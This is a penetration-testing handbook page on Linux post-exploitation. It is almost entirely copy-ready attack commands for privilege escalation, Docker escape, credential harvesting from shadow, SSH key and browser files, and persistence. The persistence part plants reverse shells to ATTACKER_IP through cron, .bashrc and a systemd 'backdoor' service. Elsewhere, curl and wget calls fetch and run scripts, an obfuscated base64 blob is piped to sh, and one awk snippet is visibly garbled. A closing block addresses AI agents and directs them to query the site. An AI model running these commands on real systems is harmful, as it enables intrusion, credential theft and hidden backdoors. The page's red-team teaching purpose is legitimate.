# Linux

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: Linux administration, privilege model

## Privilege Escalation

### Automated Enumeration Tools

```bash
# LinPEAS - Most comprehensive
# https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
# https://github.com/rebootuser/LinEnum
./LinEnum.sh -t -k password -r LinEnum.txt

# Linux Smart Enumeration
# https://github.com/diego-treitos/linux-smart-enumeration
./lse.sh -l 2

# linux-exploit-suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh

# pspy - Monitor processes without root
# https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000
```

### Sudo Exploitation

```bash
# Check sudo permissions
sudo -l
sudo -l -l

# GTFOBins sudo exploits
# https://gtfobins.github.io/

# Sudo version exploit (CVE-2021-3156 - Baron Samedit)
# Affects sudo < 1.9.5p2
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# Sudo CVE-2019-14287 (sudo < 1.8.28)
# If you can run as !root
sudo -u#-1 /bin/bash

# LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD in sudo -l)
# Create malicious .so:
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>

# Sudo token reuse (if sudo was used recently in another terminal)
# https://github.com/nongiach/sudo_inject
./exploit.sh
```

### SUID/SGID Binaries

```bash
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Find SUID owned by current user
find / -perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

# Check GTFOBins for SUID exploits
# https://gtfobins.github.io/#+suid

# Common SUID exploits
# Bash SUID
/bin/bash -p

# Python SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Find SUID
find . -exec /bin/sh -p \; -quit

# Vim SUID
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Custom SUID binary analysis
ltrace ./binary 2>&1    # Look for insecure function calls
strace ./binary 2>&1    # System calls
strings ./binary        # Hardcoded paths/credentials
```

### Capabilities

```bash
# List files with capabilities
getcap -r / 2>/dev/null

# Exploitable capabilities
# cap_setuid - Python example
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_net_raw - Packet sniffing
tcpdump -i eth0 -w /tmp/capture.pcap

# cap_dac_read_search - Read any file
./binary /etc/shadow

# cap_net_bind_service - Bind to privileged ports
# Useful for service impersonation

# cap_sys_admin - Mount filesystems, abuse cgroups
# https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
```

### Cron Jobs

```bash
# Enumerate cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
cat /var/spool/cron/crontabs/*
systemctl list-timers --all

# Monitor for cron execution
# https://github.com/DominicBreuker/pspy
./pspy64

# Cron with wildcard injection
# If cron runs: tar czf /tmp/backup.tar.gz *
echo "" > "/path/--checkpoint=1"
echo "" > "/path/--checkpoint-action=exec=sh shell.sh"

# Writable cron script
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/cron/script.sh
# Wait for execution, then:
/tmp/bash -p

# PATH hijacking in cron
# If cron script doesn't use absolute paths
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/command_name
chmod +x /tmp/command_name
export PATH=/tmp:$PATH
```

### Kernel Exploits

```bash
# Check kernel version
uname -a
cat /proc/version
cat /etc/*release

# Kernel exploit suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh

# https://github.com/jondonas/linux-exploit-suggester-2
perl linux-exploit-suggester-2.pl

# Common kernel exploits
# DirtyPipe (CVE-2022-0847) - Linux 5.8+
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

# DirtyCow (CVE-2016-5195) - Linux 2.6.22 to 4.8.3
# https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

# PwnKit (CVE-2021-4034) - Polkit
# https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit

# Dirty Sock (CVE-2019-7304) - Snapd
# https://github.com/initstring/dirty_sock
```

### NFS Exploitation

```bash
# Check for NFS shares
showmount -e <target_ip>
cat /etc/exports

# If no_root_squash is set
# Mount on attacker machine:
mkdir /tmp/nfs
mount -o rw,vers=2 <target_ip>:/share /tmp/nfs
# Create SUID binary:
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
# On target:
/share/bash -p
```

### Writable Files & Directories

```bash
# Writable /etc/passwd
# Add new root user
echo 'hacker:$(openssl passwd -1 password):0:0:root:/root:/bin/bash' >> /etc/passwd
# Or use pre-computed hash
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' >> /etc/passwd
su hacker

# Writable /etc/shadow
# Generate hash: mkpasswd -m sha-512 password
# Replace root hash

# Find world-writable files
find / -writable -type f 2>/dev/null
find / -perm -2 -type f 2>/dev/null

# Find writable directories
find / -writable -type d 2>/dev/null

# Find files owned by current user
find / -user $(whoami) 2>/dev/null
```

### Docker Escape

```bash
# Check if in Docker
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# If docker socket is mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Privileged container escape
# https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

## Credential Harvesting

```bash
# Memory dumps
# https://github.com/huntergregal/mimipenguin
./mimipenguin.py

# Extract from process memory
strings /proc/*/environ 2>/dev/null | grep -i pass
strings /proc/*/cmdline 2>/dev/null | grep -i pass

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history

# Configuration files
find / -name "*.conf" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.config" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.xml" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.ini" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.env" 2>/dev/null

# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Web application configs
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null

# Database credentials
cat ~/.my.cnf
cat /etc/mysql/debian.cnf

# Shadow file cracking
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt  # SHA-512
hashcat -m 500 -a 0 shadow.txt rockyou.txt   # MD5

# Browser credentials
# Firefox
cat ~/.mozilla/firefox/*.default*/logins.json
# Chrome
cat ~/.config/google-chrome/Default/Login\ Data
# Decrypt with: https://github.com/unode/firefox_decrypt

# Gnome Keyring
# https://github.com/abuse-of-gnome-keyring
```

## Persistence

```bash
# SSH authorized_keys
echo "attacker_public_key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Cron persistence
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | crontab -

# Bashrc/Profile
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> ~/.bashrc
echo '/tmp/.hidden_shell &' >> ~/.profile

# Systemd service (requires root)
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
systemctl start backdoor.service

# LD_PRELOAD persistence
# Add to /etc/ld.so.preload (requires root)
echo "/tmp/malicious.so" >> /etc/ld.so.preload

# SUID backdoor
cp /bin/bash /tmp/.bash
chmod u+s /tmp/.bash
# Access: /tmp/.bash -p

# PAM backdoor (requires root)
# https://github.com/zephrax/linux-pam-backdoor
```

## Lateral Movement

```bash
# Using found SSH keys
ssh -i id_rsa user@target

# Password reuse
crackmapexec ssh targets.txt -u user -p 'password'
hydra -l user -p password ssh://target

# Kerberos from Linux
# https://github.com/fortra/impacket
# Get TGT
getTGT.py -dc-ip DC_IP DOMAIN/user:password

# Use ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/user@target

# Pass-the-Hash
pth-winexe -U DOMAIN/user%hash //target cmd.exe
crackmapexec smb target -u user -H hash

# NTLM relay
ntlmrelayx.py -tf targets.txt -smb2support

# Port forwarding for internal access
ssh -L 8080:internal_host:80 user@pivot
ssh -D 9050 user@pivot  # SOCKS proxy
```

## Local Enum

```
**Tools** 
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
https://github.com/mbahadou/postenum/blob/master/postenum.sh
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

https://gtfobins.github.io/

# Spawning shell
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within vi)
:!bash
:set shell=/bin/bash:shell
(From within nmap)
!sh

# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Download files from attacker
wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linpeas.sh postenum.sh pspy32 pspy64

# Enum scripts
./LinEnum.sh -t -k password -r LinEnum.txt
./postenum.sh
./linpeas.sh
./pspy

# Common writable directories
/tmp
/var/tmp
/dev/shm

# Add user to sudoers
useradd hacker
passwd hacker
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

# sudo permissions
sudo -l -l

# Journalctl
If you can run as root, run in small window and !/bin/sh

# Crons
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/frontal
cat /etc/anacron
systemctl list-timers --all

# Common info
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts

# Users with login
grep -vE "nologin" /etc/passwd

# Network info
cat /proc/net/arp
cat /proc/net/fib_trie
cat /proc/net/fib_trie | grep "|--"   | egrep -v "0.0.0.0| 127."
awk '/32 host/ { print f } {f=$2}' <<< "$(0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
} 
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp

# Netstat without netstat 2
echo "YXdrICdmdW5jdGlvbiBoZXh0b2RlYyhzdHIscmV0LG4saSxrLGMpewogICAgcmV0ID0gMAogICAgbiA9IGxlbmd0aChzdHIpCiAgICBmb3IgKGkgPSAxOyBpIDw9IG47IGkrKykgewogICAgICAgIGMgPSB0b2xvd2VyKHN1YnN0cihzdHIsIGksIDEpKQogICAgICAgIGsgPSBpbmRleCgiMTIzNDU2Nzg5YWJjZGVmIiwgYykKICAgICAgICByZXQgPSByZXQgKiAxNiArIGsKICAgIH0KICAgIHJldHVybiByZXQKfQpmdW5jdGlvbiBnZXRJUChzdHIscmV0KXsKICAgIHJldD1oZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpLTIsMikpOyAKICAgIGZvciAoaT01OyBpPjA7IGktPTIpIHsKICAgICAgICByZXQgPSByZXQiLiJoZXh0b2RlYyhzdWJzdHIoc3RyLGksMikpCiAgICB9CiAgICByZXQgPSByZXQiOiJoZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpKzEsNCkpCiAgICByZXR1cm4gcmV0Cn0gCk5SID4gMSB7e2lmKE5SPT0yKXByaW50ICJMb2NhbCAtIFJlbW90ZSI7bG9jYWw9Z2V0SVAoJDIpO3JlbW90ZT1nZXRJUCgkMyl9e3ByaW50IGxvY2FsIiAtICJyZW1vdGV9fScgL3Byb2MvbmV0L3RjcCAKqtc" | base64 -d | sh

# Nmap without nmap
for ip in {1..5}; do for port in {21,22,5000,8000,3306}; do (echo >/dev/tcp/172.18.0.$ip/$port) >& /dev/null && echo "172.18.0.$ip port $port is open"; done; done

# Open ports without netstat
grep -v "rem_address" /proc/net/tcp | awk  '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'

# Check ssh files:
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

# SUID
find / -perm -4000 -type f 2>/dev/null
# ALL PERMS
find / -perm -777 -type f 2>/dev/null
# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

# Port Forwarding
# Chisel
# Victim server:
chisel server --auth "test:123" -p 443 --reverse
# In host attacker machine:
./chisel client --auth "test:123" 10.10.10.10:443 R:socks

# Dynamic Port Forwarding:
# Attacker machine:
ssh -D 9050 user@host
# Attacker machine Burp Proxy - SOCKS Proxy:
Mark “Override User Options”
Mark Use Socks Proxy:
SOCKS host:127.0.0.1
SOCKS port:9050

# Tunneling 
Target must have SSH running for there service
1. Create SSH Tunnel: ssh -D localhost: -f -N user@localhost -p 
2. Setup ProxyChains. Edit the following config file (/etc/proxychains.conf)
3. Add the following line into the config: Socks5 127.0.0.1 
4. Run commands through the tunnel: proxychains 

# SShuttle
# https://github.com/sshuttle/sshuttle
sshuttle -r root@172.21.0.0 10.2.2.0/24

# netsh port forwarding
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9000 connectaddress=192.168.0.10 connectport=80
netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=9000
```

## Escaping restricted shell

```
# First check your shell
echo $SHELL
# and commands
export

# vim
# List files
:!/bin/ls -l .b*
# Set new shell
:set shell=/bin/sh
:shell
# or
:!/bin/sh

# ed
!'/bin/sh'

# ne -> Load Prefs -> Navigate everywhere

# more/less/man/pinfo
!'sh'

# links -> File OS Shell
# lynx -> "o" for options -> configure default editor e.g. vim
lynx --editor=/usr/bin/vim www.google.com
# or
export EDITOR=/usr/bin/vim
# navigate to https://translate.google.com/ go to text box, ENTER and F4

# mutt
!

# find 
find / -name "root" -exec /bin/sh \;
find / -name "root" -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

# nmap < 2009/05
--interactive
!sh

# awk
awk 'BEGIN {system("/bin/sh")}'

# expect
expect -c 'spawn sh' -i

# python
python -c 'import pty; pty.spawn("/bin/sh")'

# ruby irb
exec '/bin/sh'

# perl
perl -e 'system("sh -i");'
perl -e 'exec("sh -i");'

# php -a
exec("sh -i");

# Only Rbash
echo x | xargs -Iy sh -c 'exec sh 0<&1'

# Emacs
Mod-!
/bin/sh

# cp
cp /bin/sh /dev/shm/sh; /dev/shm/sh

# export
export SHELL=/bin/sh; export PATH=/bin:/usr/bin:$PATH

# FTP/Telnet
!/bin/sh

# GDB
!/bin/sh

# eval
eval echo echo {o..q}ython\;

# tee
echo '/bin/rm /home/user/.bashrc' | tee '/home/user/bin/win';win; echo 'export SHELL=/bin/sh' | tee '/home/user/.bashrc'

# declare
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i

# nano
nano -s /bin/sh
# Ctrl+T

# SSH
ssh user@host -t "bash --noprofile -i"
ssh user@host -t "() { :; }; sh -i "
```

## Loot

```
# Linux
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

ifconfig -a
arp -a

tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111
tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111

.bash_history

/var/mail
/var/spool/mail

echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION
```

## Related Topics

* [Windows Post-Exploitation](/post-exploitation/windows.md) - Windows privilege escalation
* [Kerberos Attacks](/post-exploitation/windows/ad/kerberos-attacks.md) - Kerberos ticket attacks
* [Pivoting](/post-exploitation/pivoting.md) - Network pivoting techniques
* [RT/EDR Evasion](/others/rt-edr.md) - Defense evasion


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/post-exploitation/linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
